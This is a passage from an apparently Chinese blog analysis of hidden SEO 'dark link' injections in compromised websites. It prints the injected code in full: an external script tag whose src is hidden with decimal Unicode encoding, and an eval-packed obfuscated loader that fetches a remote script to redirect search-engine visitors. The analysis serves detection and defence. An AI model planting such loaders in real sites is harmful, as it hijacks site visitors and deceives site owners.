十进制unicode的编码的title啥的就不讨论了,前面已经讲过了,直接看JavaScript部分
<script type="text/javascript" src="https://www.cqian.cn/ayx168.js" ></script>可以看到黑客将src使用了十进制unicode编码,从而可以规避一些简单的或者肉眼的检测。
我们将十进制unicode编码丢进站长工具中解码
可以看到其引入的是一个外部的JavaScript代码,从而实现了暗链的植入。可以跟进去看看。
主要起作用的还是圈出的部分,上面是关于访问统计的代码。可以看到他先判断这个访问是不是通过搜索引擎过来的,如果是通过搜索引擎过来的,才会进行跳转。太可恶了!
四:JavaScript中eval函数混淆引入
先看eval函数的作用:
好家伙,是不是有点webshell那味儿了,但是这个方法在JavaScript中用的并不多。使用这个方法的地方一般是一些需要混淆加密的代码才用,黑客就利用上了这个来实现混淆加密自己的暗链。
废话不多说,直接上案例:
十进制unicode编码的title啥的我就不翻译了,上面都讲过了,直接开始分析JavaScript代码部分
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p;}('l["\e\c\1\n\f\8\o\0"]["\7\3\9\0\8"]('\g\2\1\3\9\4\0 \0\m\4\8\d\6\0\8\j\0\5\h\a\k\a\2\1\3\9\4\0\6 \2\3\1\d\6\t\0\0\4\2\u\5\5\7\7\7\b\v\1\e\a\2\q\b\1\c\f\5\r\p\s\b\h\2\6\i\g\5\2\1\3\9\4\0\i');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{})) </script>乍一看非常的懵逼,仔细一看还是懵逼,不过没关系,既然这么懵逼的东西浏览器可以解析,那就证明这东西可以逆着推
我们直接上前人写好的eval函数混淆工具,丢进去解密
哦豁,可以看到解密之后原来是我前面说的第一中window对象引入的手法呀,那么我们就可以重复前面的手法,解密16进制代码,得到真实内容如下